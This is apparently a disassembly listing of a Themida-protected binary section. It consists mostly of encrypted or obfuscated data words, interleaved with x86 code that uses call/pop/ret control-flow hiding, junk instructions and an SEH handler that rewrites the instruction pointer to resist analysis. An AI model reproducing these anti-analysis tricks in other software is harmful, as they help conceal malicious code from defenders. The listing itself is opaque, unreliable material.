dd 4244481h, 18h, 0FCC35242h, 81CDB06Dh, 216195FFh, 0BD8B07A8h
dd 7A83075h, 25A58589h, 6A07A8h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0BF4678C3h, 3BBAA41Eh
dd 8D4D4D15h, 0AAF8D685h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 20497A16h
dd 863241E1h, 18D31B8h, 5007A82Bh, 0FE9h, 207CA600h, 0AEC3479Ah
dd 745B2D98h, 8FB14B5Ah, 0F8E5B5FFh, 3AB107AAh, 216195FFh
dd 666007A8h, 9B93C381h, 0E43A8BBEh, 85896143h, 7AAF8F9h
dd 7FFDBA66h, 0F8B5858Dh, 12E907AAh, 0BF000000h, 8AEC0D4Fh
dd 0C500B961h, 8426E09Eh, 0D0F20DCDh, 890F5074h, 0
dd 0F8E5B5FFh, 12E807AAh, 0E6000000h, 3FBD4C34h, 0DBDDBCF1h
dd 8C81F875h, 5C492EE3h, 6880F1Eh, 8B000000h, 0A814FD8Dh
dd 95FF5A07h, 7A82161h, 0F8A0Fh, 0AE90000h, 0F2000000h
dd 0F0116048h, 5EA9CDE8h, 0F1858985h, 0E907AAF8h, 7, 39084239h
dd 8DB3CE98h, 0AAF8A885h, 14E907h, 0BE380000h, 51F969A9h
dd 0F707DDD0h, 42DBB4C2h, 0A438C5E2h, 8589F3B3h, 7A81CF5h
dd 2BD98150h, 0FF0D20D3h, 0AAF8E5B5h, 0E9605007h, 0Ah
dd 91CFF529h, 0E4979CF7h, 0B70FCB4Bh, 0FF5A61C3h, 0A8216195h
dd 198D8907h, 8907A800h, 0AAF8F585h, 18E0F07h, 0F5000000h
dd 0F8C3858Dh, 8D8B07AAh, 7A82E21h, 0B5FFFC50h, 7AAF8E5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h
dd 38D0F13h, 80000000h, 95FFD1C9h, 7A82161h, 5C5BD89h
dd 858907A8h, 7A804BDh, 15198589h, 858D07A8h, 7AAF877h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 39C35545h
dd 2A834A17h, 0EAF73F13h, 6840FE5h, 89000000h, 0A80F45B5h
dd 958B5007h, 7A82AB9h, 0F8E5B5FFh, 816607AAh, 0FF503CC1h
dd 0A8216195h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 85893FB5h, 7AAF8E9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CCC35747h, 81FE7DB4h
dd 0A0CF93D2h, 86858D27h, 0F07AAF8h, 8150FFBFh, 0A43879EFh
dd 0E5B5FF09h, 8B07AAF8h, 0A8187195h, 6195FF07h, 5607A821h
dd 0FE8h, 0A8BBE600h, 298D23F6h, 3D6C60CDh, 0D863ACCDh
dd 895959FCh, 0AAF8ED85h, 0B1850107h, 6807A814h, 104h
dd 833933BAh, 7D858D1Fh, 0F507AAF9h, 0B800Fh, 6E90000h
dd 2C000000h, 0B97A994h, 8B665057h, 81858DFBh, 6A07AAFAh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 543DC350h, 48D8BF66h, 51006A50h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E3673F83h
dd 33E25FB9h, 6195FF0Ch, 8507A81Ah, 6850FC0h, 89000000h
dd 0A80F6195h, 56BD8007h, 7AB04h, 10850Fh, 6B90000h, 0E93B34F5h
dd 154Eh, 2A7D9D89h, 0BD8307A8h, 7A8294Dh, 19850F00h, 31000000h
dd 0A8075985h, 0BD8307h, 7AB09h, 6B840Fh, 958B0000h, 7A80A31h
dd 0F91A858Dh, 6A07AAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 8B6607C3h, 25958BF8h, 0E907A81Eh
dd 14F2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 3BC35646h, 0C1284E6Ch, 8BB84F44h, 14E9D0h, 6E90000h
dd 5F000000h, 5192D1E9h, 5858DBBh, 5007AAF9h, 0E85059FCh
dd 0Dh, 0CFB9A621h, 3405B095h, 0DC5E8EA5h, 5830F57h, 0BF000000h
dd 3CE202E6h, 198D8959h, 8D07A819h, 0AAF97D85h, 79950307h
dd 6007A818h, 8375EB81h, 8B661359h, 665061FAh, 8324AFB9h
dd 0A8294DBDh, 840F0007h, 48h, 68C0Fh, 0DA810000h, 5FE1B10Ch
dd 0FAA3858Dh, 0EF8107AAh, 69E35E5h, 3AE9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 6A2BA051h, 8D0F8282h, 4, 59CE8B57h, 0FA8C858Dh, 8D3107AAh
dd 7A81425h, 5059DE80h, 2135BD0Bh, 858D07A8h, 7AAFADBh
dd 0A8B6C0BFh, 0E9815006h, 6C595B53h, 2F4195FFh, 0AE807A8h
dd 0EB000000h, 0C0761524h, 16F73B12h, 3D8D0B5Fh, 5907A826h
dd 8110C483h, 61C71EE1h, 8BE2B63Fh, 53006AC0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F4DB5642h
dd 6C724615h, 0BD835B37h, 7A827F9h, 83097500h, 0A80605BDh
dd 19740007h, 0C08B5350h, 7D3B8h, 85858900h, 8D07A825h
dd 0AAB0239Dh, 5BD3FF07h, 5BD8358h, 7A806h, 53501774h
dd 7D3B8h, 85858900h, 8D07A825h, 0AAAD129Dh, 5BD3FF07h
dd 0B5895358h, 7A81B19h, 399D895Ah, 8107A82Dh, 627185F1h
dd 2D850123h, 8B07A804h, 0CBBF0FC0h, 0F905BD81h, 726F07AAh
dd 840F6165h, 0A9h, 0DE8h, 9978FF00h, 524743D5h, 0A4D2A550h
dd 81667C4Dh, 5FCD14E2h, 0F97D858Dh, 8D5007AAh, 0AAFABA85h
dd 858D5007h, 7AAFADBh, 4195FF50h, 8307A82Fh, 85C60CC4h
dd 7A80619h, 184F6844h, 0B5FF96A3h, 7A81895h, 3BDF858Dh
dd 0D0FF07A8h, 858DD88Bh, 7AAFADBh, 8DD3FF50h, 0AAF90585h
dd 858D5007h, 7AAF97Dh, 4DBD8350h, 7A829h, 858D0874h, 7AAFAA3h
dd 858D06EBh, 7AAFA8Ch, 0DB858D50h, 5007AAFAh, 2F4195FFh
dd 0C48307A8h, 7E910h, 7C3F0000h, 9FBB0B8Bh, 6800F48h
dd 52000000h, 5EECBF66h, 5D95FF59h, 2507A818h, 0FFh, 24F98D23h
dd 0F88307A8h, 56830F05h, 89000000h, 0A817F195h, 0FD85C707h
dd 107A80Dh, 8B000000h, 0A80F398Dh, 39858D07h, 5707AAF9h
dd 0C7F18166h, 0A6E95A3Eh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D7CC350h
dd 0F86A3CBh, 6E92852h, 0F1000000h, 9028676Eh, 4DBD83E3h
dd 7A829h, 36840Fh, 0CE8B0000h, 14E9h, 7B848400h, 9FA49419h
dd 0E9F098FBh, 20FC8D7Ch, 2C30881Ah, 64858D05h, 8007AAF9h
dd 6660F7EAh, 0FCFCAEBBh, 3BE961h, 8D890000h, 7A80C5Dh
dd 0F946858Dh, 6A07AAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0E9FF9CC3h, 0Dh, 53640142h, 0D79868AEh
dd 0E3569A99h, 79858978h, 8907AAF9h, 0A8279DBDh, 4DBD8307h
dd 7A829h, 16850Fh, 8B660000h, 0BD83CAh, 7AB09h, 11840Fh
dd 95310000h, 7A82CE9h, 1169E9h, 618D2900h, 0E907A835h
dd 441h, 1E9EDCBAh, 8BC08B38h, 0A81C1595h, 0F9BD8307h
dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
dd 7D4h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
dd 740007A8h, 0B8535017h, 7D4h, 25858589h, 9D8D07A8h, 7AAAD12h
dd 585BD3FFh, 0DA4A1ABAh, 51006A51h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0DA4FF69Ch
dd 0B595A243h, 0A7DF81FBh, 8B02537Eh, 8A0F60C0h, 6, 800Fh
dd 830F0000h, 0
; ---------------------------------------------------------------------------
popa
push 0F003Fh
mov [ebp+7A82249h], esi
jmp loc_5B3A57
; ---------------------------------------------------------------------------
db 44h, 0BBh, 0E6h
dd 90628C4Ah, 630227Dh, 65021598h
db 0E3h, 0D1h, 0C4h
; ---------------------------------------------------------------------------
loc_5B3A57: ; CODE XREF: Themida_:005B3A40j
push 0
jnb loc_5B3A67
push ecx
mov [ebp+7A834D5h], edi
pop ecx
loc_5B3A67: ; CODE XREF: Themida_:005B3A59j
push 0
xor [ebp+7A803CDh], edi
call dword ptr [ebp+7A825A5h]
mov edi, [ebp+7A81509h]
test eax, eax
jnz loc_5B3A99
pusha
pusha
add ecx, 6F21D96h
mov [ebp+7A80E99h], edx
popa
mov ecx, [ebp+7A827BDh]
popa
loc_5B3A99: ; CODE XREF: Themida_:005B3A7Dj
mov [ebp+7AAF8FDh], eax
movsx edx, bx
push 0
mov edi, 67CA7747h
push 0
push 0
push edx
call sub_5B3AB6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3AB6 proc near ; CODE XREF: Themida_:005B3AAEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B3AB6 endp
; ---------------------------------------------------------------------------
pop esi
jg short loc_5B3B33
add [ecx-57D5D24Bh], cl
pop es
sub [ebp+7A81905h], edx
push 0
push 0
push ebp
call sub_5B3AE3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3AE3 proc near ; CODE XREF: Themida_:005B3ADBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5B3AE3 endp
; ---------------------------------------------------------------------------
db 25h
dd 0A7078D69h, 10E843h, 8CD10000h, 3DB767D3h, 8D640B96h
dd 6ACE9154h, 8B50D297h, 8A5A5AD1h, 0B6006AE8h, 0DB858D2Dh
dd 6A07AAFAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
db 44h, 24h, 4
; ---------------------------------------------------------------------------
loc_5B3B33: ; CODE XREF: Themida_:005B3AC7j
sbb al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 47h
; ---------------------------------------------------------------------------
push edi
retn
; ---------------------------------------------------------------------------
dw 9A58h
dd 0F54CECCFh, 0B5895094h, 7A8009Dh, 6ACEB70Fh, 0D2BA6601h
dd 3016A4Eh, 0A8045DBDh, 8B016A07h, 1830FD0h, 0FC000000h
dd 0F01FF68h, 8830F00h, 0F000000h, 28Ch, 83EF8A00h, 0A8294DBDh
dd 840F0007h, 3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 79C35343h, 0C0999D9Dh, 8BF7161Fh, 5F18166h
dd 5A858DA2h, 0B507AAF9h, 1CE94Bh, 66530000h, 8B59D38Bh
dd 30858DCEh, 5207AAF9h, 18F18166h, 8A0F5F0Eh, 2, 8950F7B2h
dd 0A822ADB5h, 6A5007h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 7CC1F0C3h, 0F5561425h, 8D011CE6h
dd 7A81B35h, 58C0Fh, 5DB90000h, 0FF3C3452h, 0AAF8FDB5h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0B30DF4D3h, 9C631EB9h, 0E995FF78h, 8B07AAF8h
dd 0A8092995h, 0FC08507h, 3485h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C0CD8996h
dd 0B28E71C3h, 5298589h, 45E907A8h, 89000000h, 0A82FA5BDh
dd 1858907h, 0B07AAF9h, 0A829F1BDh, 35F28107h, 0FF164C55h
dd 0AAF901B5h, 0D1B70F07h, 4BD95FFh, 0B16007A8h, 6EE78108h
dd 61352799h, 850FC085h, 0Ch, 7E9h, 36AC2A00h, 259CAD61h
dd 6FBF106Ah, 8304721Bh, 0A8294DBDh, 840F0007h, 33h, 2365958Bh
dd 858D07A8h, 7AAF95Ah, 2DE9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B663AF1h
dd 8DD08ACBh, 0AAF93085h, 0CA816607h, 8B50FE4Bh, 0FDB5FFCEh
dd 0B07AAF8h, 0A8089D95h, 0F595FF07h, 8507AAF8h, 5850FC0h
dd 8B000000h, 0B5DD80FBh, 0F9018589h, 816607AAh, 6AE500DFh
dd 0F9BF0F00h, 60006AF5h, 658DE981h, 8B56123Ch, 0A80CF5BDh
dd 0FF615B07h, 0AAF901B5h, 0DA816607h, 95FFE2E6h, 7AAF8EDh
dd 1D0DBD8Bh, 0C08507A8h, 0C850Fh, 880F0000h, 6, 861BD8Bh
dd 0B5FF07A8h, 7AAF901h, 601CC680h, 1BD5B529h, 11E807A8h
dd 0A6000000h, 859DF1CEh, 6D96080h, 9DFC98A7h, 0DBBD9022h
dd 615F6160h, 4BD95FFh, 0AE907A8h, 0C5000000h, 3D0CAD91h
dd 7CB7A0ADh, 0D858943h, 8507A829h, 6850FC0h, 9000000h
dd 0A8248185h, 66006A07h, 68174FBFh, 80h, 0C698EF81h, 36A4B6Dh
dd 0D3B70F50h, 89006A5Ah, 0A81CD18Dh, 8B006A07h, 68D6h
dd 3357C000h, 0A834A5BDh, 0B5FF5A07h, 7AAF979h, 0BE9h
dd 41238A00h, 2535B99Ch, 74E5A2B3h, 23F595FFh, 0BD0B07A8h
dd 7A81E1Dh, 0C9816651h, 835989EFh, 850FFFF8h, 581h, 0FFD18B66h
dd 0AB03E785h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 25BC19D3h, 3C8A4954h
dd 6850FDDh, 89000000h, 0A80D259Dh, 8DBD8B07h, 8307A82Ah
dd 0AB03E7BDh, 840F0207h, 405h, 8DD7BF0Fh, 5B243B85h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0CA761FE0h, 0B8FA96CAh, 0FDCB8060h, 14E9h, 0C389F400h
dd 14FAFAC8h, 5F73B7BDh, 0FA7FB11Bh, 0FCEDCA7h, 45BF610Ah
dd 0FF5DDE19h, 5E8D0h, 0BBCC0000h, 0B994B12Eh, 79B5B065h
dd 8E858D59h, 6A005B1Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 83EBC350h, 23D0FF95h
dd 0A81C85BDh, 7DBD8B07h, 8B07A813h, 52006AC0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 66B966B5h
dd 0F9BD837Dh, 7A827h, 0BD830975h, 7A80605h, 50197400h
dd 0B8C08B53h, 7D8h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh
dd 605BD83h, 740007A8h, 0B8535017h, 7D8h, 25858589h, 9D8D07A8h
dd 7AAAD12h, 585BD3FFh, 4140B966h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 84C35747h, 0BD8B4F03h, 7A80CC1h
dd 952BC08Bh, 7A82359h, 0F003F68h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0A7ECD80Fh
dd 6A607D6Eh, 0D5BD8900h, 6A07A814h, 0FAB70F00h, 25A595FFh
dd 8D3307A8h, 7A80861h, 6AC085h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 2C6653C3h, 0B9668EE3h
dd 858995ACh, 7AAF8FDh, 0F01FF68h, 0D78B6600h, 294DBD83h
dd 0F0007A8h, 1984h, 9126B900h, 858D51B2h, 7AAF95Ah, 0E9F9B70Fh
dd 0Fh, 6218531h, 858D07A8h, 7AAF930h, 50FBB70Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 55C35545h, 0FDB5FFC4h
dd 8B07AAF8h, 0A80A8995h, 0F595FF07h, 0F07AAF8h, 8589CFB7h
dd 7AAF901h, 2B19BD29h, 85C707A8h, 7A828EDh, 0
dd 0F818589h, 0BD8307A8h, 7AAF901h, 0B9840F00h, 0F000001h
dd 88Ah, 95035200h, 7A83321h, 0DF858D5Ah, 6007AAFBh, 2B1D958Bh
dd 0C18B07A8h, 66565061h, 6A5AF98Bh, 8D8B5001h, 7A81349h
dd 1B5FF5Ah, 8B07AAF9h, 0A83589BDh, 0F995FF07h, 6A07AAF8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0F59EC350h, 0E8F1509Eh, 0Ah, 7111E325h, 0F10CA10Ch
dd 8B60C293h, 615E50D6h, 6860F5Ah, 31000000h, 0A82CD1BDh
dd 0EF816607h, 0B5FFD677h, 7AAF901h, 0AA9BD03h, 95FF07A8h
dd 7A804BDh, 1B96657h, 0FF6859F0h, 89000F01h, 0A826858Dh
dd 0ED8D2907h, 8307A817h, 0A8294DBDh, 840F0007h, 40h, 91952960h
dd 6607A807h, 6105D4B8h, 5AF78A57h, 0F95A858Dh, 6A07AAh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0B0FD34C3h, 0E9A83BBDh, 0Dh, 167BB966h, 0F930858Dh
dd 0B70F07AAh, 8F0F50FAh, 6, 1B7D9D89h, 0B5FF07A8h, 7AAF8FDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1EC35242h
dd 0D01DF5C7h, 95FF4269h, 7AAF8F5h, 68C0Fh, 0C2810000h
dd 50F48ECAh, 0F9018589h, 13E907AAh, 0A2000000h, 0C2CAFEA2h
dd 0F35D6709h, 1F18C233h, 0E4D73DFEh, 0B5FF338Bh, 7AAF901h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C0C35242h
dd 16F73B12h, 8166845Fh, 0FFF943DFh, 0AAF8F195h, 0FFBF0F07h
dd 1B5FFF5h, 2907AAF9h, 0A81E3185h, 0BD95FF07h, 6607A804h
dd 0C9D5C181h, 0FFF728E9h, 0C880FFFh, 0F000000h, 689h
dd 4DB52900h, 8907A813h, 0A8091D8Dh, 4AB5FF07h, 2907AB04h
dd 0A8176585h, 9995FF07h, 2B07A81Ah, 0A82FC98Dh, 29858B07h
dd 6607A81Bh, 40E9C88Bh, 6A000006h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0DD3EC351h
dd 9FAFDE55h, 0B0AC8C1Ch, 1399BD8Bh, 9D8907A8h, 7A81871h
dd 0FBFFB58Dh, 0CF8107AAh, 5FEEAFC9h, 0A9F4858Dh, 8B6607AAh
dd 0E8D0FFCFh, 0Bh, 5E8B01D3h, 969EC3F7h, 818FC376h, 0D48C95F7h
dd 6A5A49h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 23C35040h, 2D930AAFh, 209F7F4h, 1DDD9523h, 95FF07A8h
dd 7A80A3Dh, 9E8h, 8A7F600h, 0C59A864h, 81665909h, 5F96F2E1h
dd 0E852F38Bh, 13h, 3678D6E0h, 1E267A05h, 0B2130FCDh, 6E1C211Eh
dd 811370E4h, 0CC4950E7h, 8D5F5A4Fh, 0AAA9F485h, 79852907h
dd 0FF07A825h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0F0F6026h, 68Fh, 8FF78100h
dd 6A60F62Ch, 3D95FF00h, 8B07A80Ah, 6AC08BCBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0CF1AC353h, 0BD8B826Ch, 7A80815h, 406847B9h, 0F9BD8347h
dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
dd 7D9h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
dd 740007A8h, 0B8535017h, 7D9h, 25858589h, 9D8D07A8h, 7AAAD12h
dd 585BD3FFh, 0F1E08BFh, 5AF5504Fh, 8D895660h, 7A81725h
dd 45958959h, 6107A82Fh, 0CB8BC08Bh, 75BD8950h, 5607A800h
dd 0E2C8E8BAh, 0D88B5965h, 0AE18589h, 8D0B07A8h, 7A81535h
dd 0D59D8D53h, 8B07A822h, 8B038903h, 43895043h, 0E39D8D50h
dd 8B07AB03h, 5B038903h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 71C35747h, 0E981CEB3h, 803ABF6h, 8BF98B66h
dd 0A833398Dh, 0BF006A07h, 19073FD5h, 3E3858Dh, 8F0F07ABh
dd 0Ch, 6830Fh, 0BD2B0000h, 7A81349h, 15858950h, 6A07A811h
dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 1BBD501Ah, 7E8DFh, 699F0000h, 0A9EB6847h
dd 619589BCh, 5F07A82Ah, 9E18D89h, 858D07A8h, 7A822D5h
dd 0E8F0Fh, 7E80000h, 93000000h, 0C28E4125h, 5FF94CA5h
dd 11BD8B50h, 6A07A80Ah, 6AFC00h, 359509h, 6807A8h, 53000018h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A7C35545h
dd 0D04EE4ECh, 6B3BF6B0h, 152595FFh, 820F07A8h, 2, 95FFF98Bh
dd 7A80B39h, 44AB5FFh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 8BB5A5C3h, 8BF94B02h
dd 0A807B58Dh, 9995FF07h, 6A07A81Ah, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BE87C350h
dd 0B240F87Eh, 35B589BDh, 8D07A813h, 0A822D585h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 83F64808h, 408BD78Bh, 952B6018h, 7A81445h, 93D8D8Bh
dd 0C76107A8h, 0A800B585h, 7, 198D3300h, 8307A819h, 0A8294DBDh
dd 840F0007h, 69h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0C1C35242h, 56D3BA0h, 951F5EFh, 0A8311D85h
dd 8C3D5A07h, 0F000000h, 1CE83h, 80D18100h, 0E94CE5ADh
dd 63h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
dd 11C35242h, 2EACE293h, 81B5CD1Ch, 57581DEFh, 983D1Ah
dd 830F0000h, 18Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0BFC35747h, 26155461h, 2913D067h, 0A81971BDh
dd 75958B07h, 8D07A82Ah, 5B243B85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0FF41841Ah
dd 0C7BA479Bh, 0CBB70F91h, 9D09D0FFh, 7A82169h, 1E8E858Dh
dd 0F7B5005Bh, 0BD89D0FFh, 7A819B5h, 8B66C08Bh, 0F9BD83D0h
dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
dd 0BC6h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
dd 740007A8h, 0B8535017h, 0BC6h, 25858589h, 9D8D07A8h
dd 7AAAD12h, 585BD3FFh, 0B1DA8166h, 14BF661Ch, 0E9C08BFCh
dd 6, 0C073AA7Ah, 0B5895269h, 7A82B09h, 0FFFF883h, 6885h
dd 0C763B200h, 0A8142D85h, 7, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5F0C470Dh
dd 0F8BC87Ah, 686h, 0C18D8900h, 0E907A804h, 104h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 70C35343h, 462994ACh
dd 36E91Eh, 8B660000h, 1F883CBh, 2A850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 2C33E5C3h, 0D1E9BEh, 9D890000h, 7A826E9h, 0FFF170E9h
dd 20DF81FFh, 8B0A17F1h, 59D89C0h, 8307A82Dh, 0A827F9BDh
dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 7DDB8C0h
dd 85890000h, 7A82585h, 0B0239D8Dh, 0D3FF07AAh, 0BD83585Bh
dd 7A80605h, 50177400h, 7DDB853h, 85890000h, 7A82585h
dd 0AD129D8Dh, 0D3FF07AAh, 8E8585Bh, 0E2000000h, 0E3680FFCh
dd 8B96F32Ah, 9E95FC8h, 8F000000h, 4D34EDA1h, 231A5D0Ch
dd 0BE9C08Bh, 0E1000000h, 0F8FE606Fh, 633784C0h, 85899735h
dd 7A82195h, 235E9h, 9810F00h, 0F000000h, 38Ah, 0D68B6600h
dd 1E7858Dh, 9D8907ABh, 7A8353Dh, 3DF8589h, 8D2907ABh
dd 7A82FADh, 4BE9h, 85B58900h, 8D07A834h, 0AAFFEF85h, 31958B07h
dd 4007A80Fh, 0CE9h, 706EF000h, 372EA93Dh, 7DB6035Dh, 0DF8589F8h
dd 6007AB03h, 4959D01h, 11E807A8h, 3E000000h, 90A6D696h
dd 4A05C6B1h, 0A31C0469h, 0D7206F21h, 61588EB3h, 858D346Ah
dd 7A80945h, 0DFB5FF50h, 6A07AB03h, 0AD95FF00h, 8307A829h
dd 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h, 61985C6h
dd 685607A8h, 9CA8B852h, 1895B5FFh, 858D07A8h, 7A83BDFh
dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0AB045285h
dd 1985C607h, 4707A806h, 18AC9B68h, 95B5FFECh, 8D07A818h
dd 0A83BDF85h, 0FFD0FF07h, 0C6F08BD0h, 0A8061985h, 61684F07h
dd 0FFC62F26h, 0A80379B5h, 0DF858D07h, 0FF07A83Bh, 4E9D8DD0h
dd 5307AB04h, 0FF56286Ah, 75C085D0h, 1985C600h, 4107A806h
dd 87649868h, 79B5FFDBh, 8D07A803h, 0A83BDF85h, 89D0FF07h
dd 0AB046B85h, 1985C607h, 4C07A806h, 0A4E7A468h, 79B5FF80h
dd 8D07A803h, 0A83BDF85h, 8BD0FF07h, 0AB04529Dh, 45B8D07h
dd 579D8D53h, 5307AB04h, 0D0FF006Ah, 4529D8Bh, 3C707ABh
dd 1, 20C43C7h, 8B000000h, 0A81DC99Dh, 1D85C707h, 7A828h
dd 6A000000h, 6A006A00h, 529D8B00h, 5307AB04h, 0B5FF006Ah
dd 7AB044Eh, 46B95FFh, 85C607ABh, 7A80619h, 0F7976845h
dd 0B5FF92A5h, 7A81E35h, 3BDF858Dh, 0D0FF07A8h, 26A006Ah
dd 8C66D0FFh, 4C3F6DBh, 9D8B3275h, 7AB0452h, 0C43C7h, 6A000000h
dd 8B006A00h, 0AB04529Dh, 6A5307h, 44EB5FFh, 95FF07ABh
dd 7AB046Bh, 44EB5FFh, 95FF07ABh, 7A80B39h, 95FF006Ah
dd 7A80A3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0C8C35343h, 9E9BCh, 0A4060000h, 33624131h, 0F7D7823h
dd 858DCABFh, 7AB3785h, 5085C180h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 1FC35545h, 40A54E33h, 5443F459h
dd 35FF643Fh, 0
; ---------------------------------------------------------------------------
mov [ebp+7A8171Dh], edx
xor di, 0CBE9h
mov large fs:0, esp
mov dx, si
jmp loc_5B4B50
; ---------------------------------------------------------------------------
sub eax, 2366A036h
mov ebp, 761E017Ch
loc_5B4B50: ; CODE XREF: Themida_:005B4B41j
cmp dword ptr [ebp+7A807CDh], 0
jz loc_5B4B96
mov [ebp+7A80CFDh], ebx
cmp dword ptr [ebp+7A806A5h], 1
jnz loc_5B4B96
push eax
xor [ebp+7A82F5Dh], ecx
pop edx
cmp byte ptr [ebp+7AB086Bh], 0
jnz loc_5B4B96
add [ebp+7A826B1h], edi
jmp loc_5B4CF2
; ---------------------------------------------------------------------------
mov [ebp+7A80EA1h], edi
loc_5B4B96: ; CODE XREF: Themida_:005B4B57j
; Themida_:005B4B6Aj ...
xor ebx, ebx
mov [ebp+7A82DE5h], ebx
xor eax, eax
jno loc_5B4BAF
jnz loc_5B4BAF
mov dx, si
loc_5B4BAF: ; CODE XREF: Themida_:005B4BA0j
; Themida_:005B4BA6j
inc eax
; ---------------------------------------------------------------------------
dd 0B073F0Fh, 58F64h, 83000000h, 0BD8B04C4h, 7A819BDh
dd 212DBD8Bh, 0FB8307A8h, 11840FFFh, 89000000h, 0A81D398Dh
dd 10AE907h, 8D290000h, 7A825A9h, 57E9h, 0D7816600h, 4C8B471Ah
dd 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h
dd 0E8550C24h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7AB37A7h
mov eax, [ebx+0B8h]
lea eax, [ebp+7AB3889h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
pusha
sbb edx, 72AA4904h
mov [ebp+7A82471h], edi
popa
xor dx, 84F7h
lea eax, [ebp+7AB379Dh]
push 0
push ecx
